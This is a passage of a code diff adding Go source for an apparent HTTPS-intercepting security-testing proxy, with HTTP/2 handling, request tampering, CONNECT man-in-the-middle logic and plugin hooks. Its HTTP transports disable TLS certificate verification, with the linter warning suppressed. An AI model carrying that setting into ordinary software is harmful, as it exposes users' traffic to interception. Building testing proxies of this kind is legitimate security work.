err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return p.ImportUserState(data)
|
||||
}
|
||||
|
||||
func safeExportProjectState(p sdk.ProjectStatefulPlugin) (data []byte, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return p.ExportProjectState()
|
||||
}
|
||||
|
||||
func safeImportProjectState(p sdk.ProjectStatefulPlugin, data []byte) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return p.ImportProjectState(data)
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"time"
|
||||
)
|
||||
|
||||
// NewHTTPClient creates an http.Client that optionally routes through a proxy.
|
||||
// proxyURL may be empty for no proxy. tc may be nil for sensible defaults.
|
||||
func NewHTTPClient(proxyURL string, tc *TransportConfig) http.Client {
|
||||
var transport *http.Transport
|
||||
if tc != nil {
|
||||
// Clone settings from the TransportConfig but create a new transport
|
||||
// so we can safely set a proxy without mutating the shared one.
|
||||
transport = &http.Transport{
|
||||
ForceAttemptHTTP2: tc.HTTP2(),
|
||||
DisableKeepAlives: !tc.KeepAlive(),
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //nolint:gosec
|
||||
DialContext: tc.SOCKSDialContext(),
|
||||
}
|
||||
} else {
|
||||
transport = &http.Transport{
|
||||
ForceAttemptHTTP2: true,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //nolint:gosec
|
||||
}
|
||||
}
|
||||
|
||||
if proxyURL != "" && proxyURL != "NOPROXY" {
|
||||
if u, err := url.Parse(proxyURL); err == nil {
|
||||
transport.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
}
|
||||
|
||||
return http.Client{
|
||||
Transport: transport,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// MakeRequest performs an HTTP request using the provided client with a configurable timeout.
|
||||
func MakeRequest(method, target string, timeout int64, body io.Reader, client http.Client) ([]byte, string, int, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, method, target, body)
|
||||
if err != nil {
|
||||
return nil, "", 0, err
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, "", 0, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
bodyBytes, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, "", 0, err
|
||||
}
|
||||
|
||||
return bodyBytes, string(bodyBytes), resp.StatusCode, nil
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// CustomAddition defines a single piece of data to inject into requests.
|
||||
type CustomAddition struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"` // "header", "query", "body"
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// CustomData manages a set of additive request modifications.
|
||||
type CustomData struct {
|
||||
mu sync.RWMutex
|
||||
enabled bool
|
||||
items []CustomAddition
|
||||
}
|
||||
|
||||
// NewCustomData creates a disabled CustomData with no items.
|
||||
func NewCustomData() *CustomData {
|
||||
return &CustomData{}
|
||||
}
|
||||
|
||||
// IsEnabled reports whether custom data injection is active.
|
||||
func (cd *CustomData) IsEnabled() bool {
|
||||
cd.mu.RLock()
|
||||
defer cd.mu.RUnlock()
|
||||
return cd.enabled
|
||||
}
|
||||
|
||||
// SetEnabled enables or disables custom data injection.
|
||||
func (cd *CustomData) SetEnabled(enabled bool) {
|
||||
cd.mu.Lock()
|
||||
defer cd.mu.Unlock()
|
||||
cd.enabled = enabled
|
||||
}
|
||||
|
||||
// Items returns a copy of the current items.
|
||||
func (cd *CustomData) Items() []CustomAddition {
|
||||
cd.mu.RLock()
|
||||
defer cd.mu.RUnlock()
|
||||
out := make([]CustomAddition, len(cd.items))
|
||||
copy(out, cd.items)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetItems replaces all custom data items.
|
||||
func (cd *CustomData) SetItems(items []CustomAddition) {
|
||||
cd.mu.Lock()
|
||||
defer cd.mu.Unlock()
|
||||
cd.items = items
|
||||
}
|
||||
|
||||
// AddItem adds a new item with a generated ID. Returns the item.
|
||||
func (cd *CustomData) AddItem(typ, name, value string) CustomAddition {
|
||||
item := CustomAddition{
|
||||
ID: GenerateID(),
|
||||
Type: typ,
|
||||
Name: name,
|
||||
Value: value,
|
||||
}
|
||||
cd.mu.Lock()
|
||||
defer cd.mu.Unlock()
|
||||
cd.items = append(cd.items, item)
|
||||
return item
|
||||
}
|
||||
|
||||
// RemoveItem deletes an item by ID. Returns true if found.
|
||||
func (cd *CustomData) RemoveItem(id string) bool {
|
||||
cd.mu.Lock()
|
||||
defer cd.mu.Unlock()
|
||||
for i, item := range cd.items {
|
||||
if item.ID == id {
|
||||
cd.items = append(cd.items[:i], cd.items[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// applyCustomData applies custom data additions to an *http.Request.
|
||||
func applyCustomData(cd *CustomData, r *http.Request) *http.Request {
|
||||
if cd == nil || !cd.IsEnabled() {
|
||||
return r
|
||||
}
|
||||
|
||||
cd.mu.RLock()
|
||||
items := make([]CustomAddition, len(cd.items))
|
||||
copy(items, cd.items)
|
||||
cd.mu.RUnlock()
|
||||
|
||||
for _, item := range items {
|
||||
switch item.Type {
|
||||
case "header":
|
||||
if !slices.Contains(r.Header.Values(item.Name), item.Value) {
|
||||
r.Header.Add(item.Name, item.Value)
|
||||
}
|
||||
case "query":
|
||||
existing := r.URL.Query()
|
||||
if !slices.Contains(existing[item.Name], item.Value) {
|
||||
param := url.QueryEscape(item.Name) + "=" + url.QueryEscape(item.Value)
|
||||
if r.URL.RawQuery == "" {
|
||||
r.URL.RawQuery = param
|
||||
} else {
|
||||
r.URL.RawQuery = r.URL.RawQuery + "&" + param
|
||||
}
|
||||
}
|
||||
case "body":
|
||||
var bodyBytes []byte
|
||||
if r.Body != nil {
|
||||
bodyBytes, _ = io.ReadAll(r.Body)
|
||||
r.Body.Close()
|
||||
}
|
||||
if !bytes.Contains(bodyBytes, []byte(item.Value)) {
|
||||
bodyBytes = append(bodyBytes, []byte(item.Value)...)
|
||||
}
|
||||
r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
|
||||
r.ContentLength = int64(len(bodyBytes))
|
||||
}
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
"golang.org/x/net/http2"
|
||||
)
|
||||
|
||||
// serveH2 dispatches an HTTP/2 connection by handing it to golang.org/x/net/http2's
|
||||
// server, which decodes streams and invokes h.h2Stream for each request.
|
||||
func (h *Handler) serveH2(tlsConn *tls.Conn, hostname, hostPort string) {
|
||||
srv := &http2.Server{}
|
||||
srv.ServeConn(tlsConn, &http2.ServeConnOpts{
|
||||
Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
h.h2Stream(w, r, hostname, hostPort)
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// h2Stream runs the proxy pipeline for a single HTTP/2 stream. The request and
|
||||
// response are exchanged in HTTP/2 frames with the browser; the upstream call
|
||||
// goes through the protocol-aware sender so HTTP/2 is preserved end-to-end.
|
||||
func (h *Handler) h2Stream(w http.ResponseWriter, r *http.Request, hostname, hostPort string) {
|
||||
if r.URL.Scheme == "" {
|
||||
r.URL.Scheme = "https"
|
||||
}
|
||||
if r.URL.Host == "" {
|
||||
r.URL.Host = urlHostWithPort(hostPort, "https")
|
||||
}
|
||||
r.RequestURI = ""
|
||||
|
||||
bodyBytes, _ := io.ReadAll(r.Body)
|
||||
r.Body.Close()
|
||||
r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
|
||||
|
||||
// Match the h1 path: strip Accept-Encoding so the upstream returns
|
||||
// uncompressed bodies that capture cleanly and render as text in the UI.
|
||||
r.Header.Del("Accept-Encoding")
|
||||
|
||||
rawReq := dumpH2Request(r, bodyBytes)
|
||||
id := GenerateID()
|
||||
start := timeNow()
|
||||
|
||||
if h.intercept.IsEnabled() {
|
||||
h.emit(eventInterceptQueued(id, r.Method, r.URL.String(), hostname, "HTTP/2", rawReq))
|
||||
decision, _ := h.intercept.Pause(id, r.Method, r.URL.String(), hostname, "HTTP/2", rawReq)
|
||||
h.emit(eventInterceptResolved(id, decision.Action))
|
||||
|
||||
if decision.Action == ActionDrop {
|
||||
http.Error(w, "request dropped by intercept", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
if len(decision.ReqData) > 0 {
|
||||
rawReq = decision.ReqData
|
||||
}
|
||||
}
|
||||
|
||||
if h.replace != nil && h.replace.IsEnabled() {
|
||||
rawReq = applyRequestReplaceRaw(h.replace, rawReq)
|
||||
}
|
||||
|
||||
rawReq = applyCustomDataRaw(h.customData, rawReq)
|
||||
|
||||
if h.hookRunner != nil {
|
||||
hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: hostname}
|
||||
modified, hookErr := h.hookRunner.RunRequestHook(r.Context(), hookInfo, rawReq)
|
||||
if hookErr == nil && modified == nil {
|
||||
http.Error(w, "request dropped by plugin", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
if hookErr == nil && modified != nil {
|
||||
rawReq = modified
|
||||
}
|
||||
}
|
||||
|
||||
scheme := r.URL.Scheme
|
||||
host := r.URL.Host
|
||||
if h.transport != nil && h.transport.HTTP2() {
|
||||
// h2Cache could be plumbed through Handler if reuse becomes important;
|
||||
// per-stream fresh transports are fine for proxy traffic since the
|
||||
// http2.Transport caches connections internally per host.
|
||||
}
|
||||
|
||||
res, err := SendRawRequest(r.Context(), rawReq, scheme, host, SendOptions{
|
||||
Decompress: false,
|
||||
}, h.transport)
|
||||
if err != nil {
|
||||
http.Error(w, "upstream error: "+err.Error(), http.StatusBadGateway)
|
||||
captured := buildUpstreamErrorCapture(id, start, r.Method, r.URL.String(), hostname, "HTTP/2", rawReq, err.Error())
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
return
|
||||
}
|
||||
resp := res.Response
|
||||
defer resp.Body.Close()
|
||||
|
||||
respBody, _ := io.ReadAll(resp.Body)
|
||||
resp.Body = io.NopCloser(bytes.NewReader(respBody))
|
||||
|
||||
if h.replace != nil && h.replace.IsEnabled() && h.replace.HasResponseRules() {
|
||||
stripped := stripResponseHopHeaders(resp)
|
||||
newHeaders, newBody := applyResponseReplaceRaw(h.replace, stripped, respBody)
|
||||
copyHeadersToWriter(w, newHeaders)
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
w.Write(newBody) //nolint:errcheck
|
||||
respBody = newBody
|
||||
resp.Header = newHeaders
|
||||
} else {
|
||||
stripHopHeaders(resp)
|
||||
copyHeadersToWriter(w, resp.Header)
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
w.Write(respBody) //nolint:errcheck
|
||||
}
|
||||
|
||||
rawResp := dumpH2Response(resp, respBody)
|
||||
|
||||
if h.hookRunner != nil {
|
||||
hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: hostname}
|
||||
if modified, hookErr := h.hookRunner.RunResponseHook(r.Context(), hookInfo, rawResp); hookErr == nil && modified != nil {
|
||||
rawResp = modified
|
||||
}
|
||||
}
|
||||
|
||||
duration := timeSince(start)
|
||||
captured := &CapturedRequest{
|
||||
ID: id,
|
||||
Timestamp: start,
|
||||
Method: r.Method,
|
||||
URL: r.URL.String(),
|
||||
Host: hostname,
|
||||
Protocol: "HTTP/2",
|
||||
StatusCode: resp.StatusCode,
|
||||
ContentType: resp.Header.Get("Content-Type"),
|
||||
Duration: duration,
|
||||
ResponseSize: len(rawResp),
|
||||
ReqRaw: rawReq,
|
||||
RespRaw: rawResp,
|
||||
}
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
}
|
||||
|
||||
// dumpH2Request serializes an h2 *http.Request as HTTP/1-syntax text with
|
||||
// "HTTP/2" in the request line. This is the synthetic representation operators
|
||||
// see in the History/Intercept/Manipulate UIs.
|
||||
//
|
||||
// Headers are emitted in canonical case and alphabetical order so the same
|
||||
// request renders identically across views. Content-Length is always written
|
||||
// based on the actual body length so that re-parsing the synthesized bytes via
|
||||
// http.ReadRequest preserves the body.
|
||||
func dumpH2Request(r *http.Request, body []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
target := r.URL.RequestURI()
|
||||
if target == "" {
|
||||
target = "/"
|
||||
}
|
||||
fmt.Fprintf(&buf, "%s %s HTTP/2\r\n", r.Method, target)
|
||||
if r.Host != "" {
|
||||
fmt.Fprintf(&buf, "Host: %s\r\n", r.Host)
|
||||
}
|
||||
|
||||
keys := make([]string, 0, len(r.Header))
|
||||
for k := range r.Header {
|
||||
canonical := http.CanonicalHeaderKey(k)
|
||||
switch canonical {
|
||||
case "Host", "Content-Length":
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(k, ":") { // defensive: pseudo-headers should be filtered by net/http2
|
||||
continue
|
||||
}
|
||||
keys = append(keys, canonical)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
for _, k := range keys {
|
||||
for _, v := range r.Header.Values(k) {
|
||||
fmt.Fprintf(&buf, "%s: %s\r\n", k, v)
|
||||
}
|
||||
}
|
||||
|
||||
if len(body) > 0 || requestMethodHasBody(r.Method) {
|
||||
fmt.Fprintf(&buf, "Content-Length: %d\r\n", len(body))
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
buf.Write(body)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// requestMethodHasBody reports whether the method conventionally carries a
|
||||
// request body (so Content-Length: 0 is meaningful even for empty bodies).
|
||||
func requestMethodHasBody(method string) bool {
|
||||
switch strings.ToUpper(method) {
|
||||
case "POST", "PUT", "PATCH", "DELETE":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// dumpH2Response synthesizes an HTTP/2-tagged response dump. h2 has no textual
|
||||
// status line on the wire; this output is for display only.
|
||||
func dumpH2Response(resp *http.Response, body []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
statusText := resp.Status
|
||||
if statusText == "" {
|
||||
statusText = strconv.Itoa(resp.StatusCode) + " " + http.StatusText(resp.StatusCode)
|
||||
}
|
||||
fmt.Fprintf(&buf, "HTTP/2 %s\r\n", statusText)
|
||||
for k, vs := range resp.Header {
|
||||
for _, v := range vs {
|
||||
fmt.Fprintf(&buf, "%s: %s\r\n", k, v)
|
||||
}
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
buf.Write(body)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// applyRequestReplaceRaw applies request_header / request_body match-replace
|
||||
// rules to raw HTTP request bytes (synthetic for h2). Header/body split is on
|
||||
// the first \r\n\r\n; fall back to \n\n.
|
||||
func applyRequestReplaceRaw(mr *MatchReplace, raw []byte) []byte {
|
||||
sep := []byte("\r\n\r\n")
|
||||
idx := bytes.Index(raw, sep)
|
||||
if idx < 0 {
|
||||
sep = []byte("\n\n")
|
||||
idx = bytes.Index(raw, sep)
|
||||
if idx < 0 {
|
||||
return raw
|
||||
}
|
||||
}
|
||||
headers := mr.Apply("request_header", raw[:idx])
|
||||
body := mr.Apply("request_body", raw[idx+len(sep):])
|
||||
out := make([]byte, 0, len(headers)+4+len(body))
|
||||
out = append(out, headers...)
|
||||
out = append(out, []byte("\r\n\r\n")...)
|
||||
out = append(out, body...)
|
||||
return out
|
||||
}
|
||||
|
||||
// applyResponseReplaceRaw applies response_header / response_body rules to a
|
||||
// pre-stripped header set and body, returning the modified header map and body.
|
||||
func applyResponseReplaceRaw(mr *MatchReplace, headers http.Header, body []byte) (http.Header, []byte) {
|
||||
// Render headers, run header rules, parse back.
|
||||
var hbuf bytes.Buffer
|
||||
for k, vs := range headers {
|
||||
for _, v := range vs {
|
||||
fmt.Fprintf(&hbuf, "%s: %s\r\n", k, v)
|
||||
}
|
||||
}
|
||||
rendered := mr.Apply("response_header", hbuf.Bytes())
|
||||
parsed := parseHeaderBlock(rendered)
|
||||
newBody := mr.Apply("response_body", body)
|
||||
if parsed.Get("Content-Length") != "" {
|
||||
parsed.Set("Content-Length", strconv.Itoa(len(newBody)))
|
||||
}
|
||||
return parsed, newBody
|
||||
}
|
||||
|
||||
// applyCustomDataRaw applies CustomData additions to raw HTTP/2 request bytes.
|
||||
func applyCustomDataRaw(cd *CustomData, raw []byte) []byte {
|
||||
if cd == nil || !cd.IsEnabled() {
|
||||
return raw
|
||||
}
|
||||
items := cd.Items()
|
||||
if len(items) == 0 {
|
||||
return raw
|
||||
}
|
||||
|
||||
sep := []byte("\r\n\r\n")
|
||||
idx := bytes.Index(raw, sep)
|
||||
if idx < 0 {
|
||||
return raw
|
||||
}
|
||||
// Copy out of raw so subsequent appends don't alias and overwrite the
|
||||
// separator + body that still live in raw's underlying array.
|
||||
headerBlock := append([]byte(nil), raw[:idx]...)
|
||||
body := append([]byte(nil), raw[idx+len(sep):]...)
|
||||
bodyMutated := false
|
||||
|
||||
for _, item := range items {
|
||||
switch item.Type {
|
||||
case "header":
|
||||
full := fmt.Sprintf("%s: %s", item.Name, item.Value)
|
||||
if !bytes.Contains(headerBlock, []byte(full)) {
|
||||
headerBlock = append(headerBlock, '\r', '\n')
|
||||
headerBlock = append(headerBlock, full...)
|
||||
}
|
||||
case "body":
|
||||
if !bytes.Contains(body, []byte(item.Value)) {
|
||||
body = append(body, []byte(item.Value)...)
|
||||
bodyMutated = true
|
||||
}
|
||||
case "query":
|
||||
// Mutate request line: METHOD path?query HTTP/2
|
||||
lineEnd := bytes.IndexAny(headerBlock, "\r\n")
|
||||
if lineEnd < 0 {
|
||||
continue
|
||||
}
|
||||
parts := bytes.Fields(headerBlock[:lineEnd])
|
||||
if len(parts) < 3 {
|
||||
continue
|
||||
}
|
||||
pathPart := parts[1]
|
||||
joiner := "?"
|
||||
if bytes.Contains(pathPart, []byte("?")) {
|
||||
joiner = "&"
|
||||
}
|
||||
updated := append([]byte{}, pathPart...)
|
||||
updated = append(updated, []byte(joiner+item.Name+"="+item.Value)...)
|
||||
rebuilt := bytes.Join([][]byte{parts[0], updated, parts[2]}, []byte(" "))
|
||||
headerBlock = append(rebuilt, headerBlock[lineEnd:]...)
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]byte, 0, len(headerBlock)+4+len(body))
|
||||
out = append(out, headerBlock...)
|
||||
out = append(out, []byte("\r\n\r\n")...)
|
||||
out = append(out, body...)
|
||||
if bodyMutated {
|
||||
out = UpdateContentLength(out)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// parseHeaderBlock parses a CRLF-separated header section back into http.Header.
|
||||
func parseHeaderBlock(raw []byte) http.Header {
|
||||
h := http.Header{}
|
||||
for _, line := range bytes.Split(raw, []byte("\r\n")) {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
idx := bytes.IndexByte(line, ':')
|
||||
if idx <= 0 {
|
||||
continue
|
||||
}
|
||||
key := string(bytes.TrimSpace(line[:idx]))
|
||||
val := string(bytes.TrimSpace(line[idx+1:]))
|
||||
h.Add(key, val)
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
// stripResponseHopHeaders is a non-mutating variant of stripHopHeaders that
|
||||
// returns a cleaned http.Header copy (used when we want to apply response rules
|
||||
// before writing to the client).
|
||||
func stripResponseHopHeaders(resp *http.Response) http.Header {
|
||||
out := http.Header{}
|
||||
skip := map[string]struct{}{
|
||||
"Connection": {}, "Keep-Alive": {}, "Proxy-Authenticate": {}, "Proxy-Authorization": {},
|
||||
"Te": {}, "Trailer": {}, "Transfer-Encoding": {}, "Upgrade": {}, "Alt-Svc": {},
|
||||
}
|
||||
for k, vs := range resp.Header {
|
||||
if _, drop := skip[http.CanonicalHeaderKey(k)]; drop {
|
||||
continue
|
||||
}
|
||||
for _, v := range vs {
|
||||
out.Add(k, v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// copyHeadersToWriter writes h to w.Header(). Skips headers the http2.Server
|
||||
// will set itself.
|
||||
func copyHeadersToWriter(w http.ResponseWriter, h http.Header) {
|
||||
for k, vs := range h {
|
||||
// http2.responseWriter manages these.
|
||||
switch http.CanonicalHeaderKey(k) {
|
||||
case "Content-Length", "Date":
|
||||
continue
|
||||
}
|
||||
for _, v := range vs {
|
||||
w.Header().Add(k, v)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/cert"
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
// HookRunner is implemented by the plugin manager to run proxy pipeline hooks.
|
||||
type HookRunner interface {
|
||||
RunRequestHook(ctx context.Context, info sdk.RequestInfo, rawReq []byte) ([]byte, error)
|
||||
RunResponseHook(ctx context.Context, info sdk.RequestInfo, rawResp []byte) ([]byte, error)
|
||||
}
|
||||
|
||||
// Handler is the main http.Handler for the intercepting proxy.
|
||||
// It routes CONNECT requests to the MITM engine and plain HTTP to the forwarder.
|
||||
type Handler struct {
|
||||
certCache *cert.Cache
|
||||
store *Store
|
||||
intercept *InterceptQueue
|
||||
scope *Scope
|
||||
noise *NoiseFilter
|
||||
replace *MatchReplace
|
||||
customData *CustomData
|
||||
transport *TransportConfig
|
||||
wsStore *WSStore
|
||||
broadcast chan<- any
|
||||
hookRunner HookRunner // nil when no proxy hook plugins are loaded
|
||||
}
|
||||
|
||||
// NewHandler creates a proxy Handler.
|
||||
func NewHandler(certCache *cert.Cache, store *Store, intercept *InterceptQueue, scope *Scope, noise *NoiseFilter, replace *MatchReplace, customData *CustomData, transport *TransportConfig, wsStore *WSStore, broadcast chan<- any) *Handler {
|
||||
return &Handler{
|
||||
certCache: certCache,
|
||||
store: store,
|
||||
intercept: intercept,
|
||||
scope: scope,
|
||||
noise: noise,
|
||||
replace: replace,
|
||||
customData: customData,
|
||||
transport: transport,
|
||||
wsStore: wsStore,
|
||||
broadcast: broadcast,
|
||||
}
|
||||
}
|
||||
|
||||
// SetHookRunner sets the plugin hook runner for proxy pipeline hooks.
|
||||
func (h *Handler) SetHookRunner(hr HookRunner) {
|
||||
h.hookRunner = hr
|
||||
}
|
||||
|
||||
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == http.MethodConnect {
|
||||
h.handleConnect(w, r)
|
||||
} else {
|
||||
h.handleHTTP(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
// handleConnect processes HTTPS CONNECT tunnelling.
|
||||
func (h *Handler) handleConnect(w http.ResponseWriter, r *http.Request) {
|
||||
host := r.Host
|
||||
if !strings.Contains(host, ":") {
|
||||
host += ":443"
|
||||
}
|
||||
|
||||
hijacker, ok := w.(http.Hijacker)
|
||||
if !ok {
|
||||
http.Error(w, "hijacking not supported", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
// Acknowledge the CONNECT before hijacking. Set Content-Length to
|
||||
// prevent Go's server from adding Transfer-Encoding: chunked, which
|
||||
// violates RFC 9110 §9.3.6 for CONNECT responses.
|
||||
w.Header().Set("Content-Length", "0")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
|
||||
clientConn, _, err := hijacker.Hijack()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := strings.Split(host, ":")[0]
|
||||
if h.noise.IsNoisy(hostname) || !h.scope.HostInScope(hostname) {
|
||||
go h.tunnel(clientConn, host)
|
||||
return
|
||||
}
|
||||
go h.mitm(clientConn, hostname, host)
|
||||
}
|
||||
|
||||
// tunnel passes raw TCP traffic without MITM for out-of-scope hosts.
|
||||
func (h *Handler) tunnel(clientConn net.Conn, host string) {
|
||||
defer clientConn.Close()
|
||||
|
||||
var upstream net.Conn
|
||||
var err error
|
||||
if dialCtx := h.transport.SOCKSDialContext(); dialCtx != nil {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
upstream, err = dialCtx(ctx, "tcp", host)
|
||||
} else {
|
||||
upstream, err = net.DialTimeout("tcp", host, 10*time.Second)
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer upstream.Close()
|
||||
go io.Copy(upstream, clientConn) //nolint:errcheck
|
||||
io.Copy(clientConn, upstream) //nolint:errcheck
|
||||
}
|
||||
|
||||
// handleHTTP processes plain (non-CONNECT) HTTP proxy requests.
|
||||
func (h *Handler) handleHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
// Remove proxy-specific headers.
|
||||
r.Header.Del("Proxy-Connection")
|
||||
r.RequestURI = ""
|
||||
|
||||
if h.noise.IsNoisy(r.Host) || !h.scope.InScope(r.Host, r.Method, r.URL.Path) {
|
||||
transport := h.transport.Transport()
|
||||
resp, err := transport.RoundTrip(r)
|
||||
if err != nil {
|
||||
http.Error(w, "upstream error: "+err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
for k, vv := range resp.Header {
|
||||
for _, v := range vv {
|
||||
w.Header().Add(k, v)
|
||||
}
|
||||
}
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
copyBody(w, resp.Body)
|
||||
return
|
||||
}
|
||||
|
||||
id := GenerateID()
|
||||
|
||||
// WebSocket upgrade: branch into WS relay.
|
||||
if isWebSocketUpgrade(r) {
|
||||
h.handleWSUpgradeHTTP(w, r, id)
|
||||
return
|
||||
}
|
||||
start := timeNow()
|
||||
|
||||
rawReq, _ := dumpRequest(r, true)
|
||||
|
||||
if h.intercept.IsEnabled() {
|
||||
h.emit(eventInterceptQueued(id, r.Method, r.URL.String(), r.Host, "HTTP/1.1", rawReq))
|
||||
decision, _ := h.intercept.Pause(id, r.Method, r.URL.String(), r.Host, "HTTP/1.1", rawReq)
|
||||
h.emit(eventInterceptResolved(id, decision.Action))
|
||||
if decision.Action == ActionDrop {
|
||||
http.Error(w, "request dropped by intercept", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
if len(decision.ReqData) > 0 {
|
||||
var err error
|
||||
r, err = parseRequest(decision.ReqData)
|
||||
if err != nil {
|
||||
http.Error(w, "invalid modified request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Apply request match/replace rules.
|
||||
if h.replace != nil && h.replace.IsEnabled() {
|
||||
r = applyRequestReplace(h.replace, r)
|
||||
rawReq, _ = dumpRequest(r, true)
|
||||
}
|
||||
|
||||
// Apply custom data additions.
|
||||
r = applyCustomData(h.customData, r)
|
||||
rawReq, _ = dumpRequest(r, true)
|
||||
|
||||
// Run plugin request hooks.
|
||||
if h.hookRunner != nil {
|
||||
hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: r.Host}
|
||||
modified, err := h.hookRunner.RunRequestHook(r.Context(), hookInfo, rawReq)
|
||||
if err == nil && modified == nil {
|
||||
http.Error(w, "request dropped by plugin", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
if err == nil && modified != nil {
|
||||
if parsed, parseErr := parseRequest(modified); parseErr == nil {
|
||||
r = parsed
|
||||
rawReq = modified
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
r.Header.Del("Accept-Encoding")
|
||||
transport := h.transport.Transport()
|
||||
resp, err := transport.RoundTrip(r)
|
||||
if err != nil {
|
||||
http.Error(w, "upstream error: "+err.Error(), http.StatusBadGateway)
|
||||
captured := buildUpstreamErrorCapture(id, start, r.Method, r.URL.String(), r.Host, "HTTP/1.1", rawReq, err.Error())
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// Strip headers that can cause browsers to bypass the proxy (e.g. HTTP/3 via QUIC).
|
||||
resp.Header.Del("Alt-Svc")
|
||||
|
||||
var rawResp []byte
|
||||
|
||||
if h.replace != nil && h.replace.IsEnabled() && h.replace.HasResponseRules() {
|
||||
// Buffered path: need full body to apply response replace rules.
|
||||
resp = applyResponseReplace(h.replace, resp)
|
||||
rawResp = readAndCaptureResponse(resp)
|
||||
for k, vv := range resp.Header {
|
||||
for _, v := range vv {
|
||||
w.Header().Add(k, v)
|
||||
}
|
||||
}
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
copyBody(w, resp.Body)
|
||||
} else {
|
||||
// Streaming path: forward headers+body immediately.
|
||||
rawResp = streamAndCaptureHTTP(resp, w)
|
||||
}
|
||||
|
||||
// Run plugin response hooks.
|
||||
if h.hookRunner != nil {
|
||||
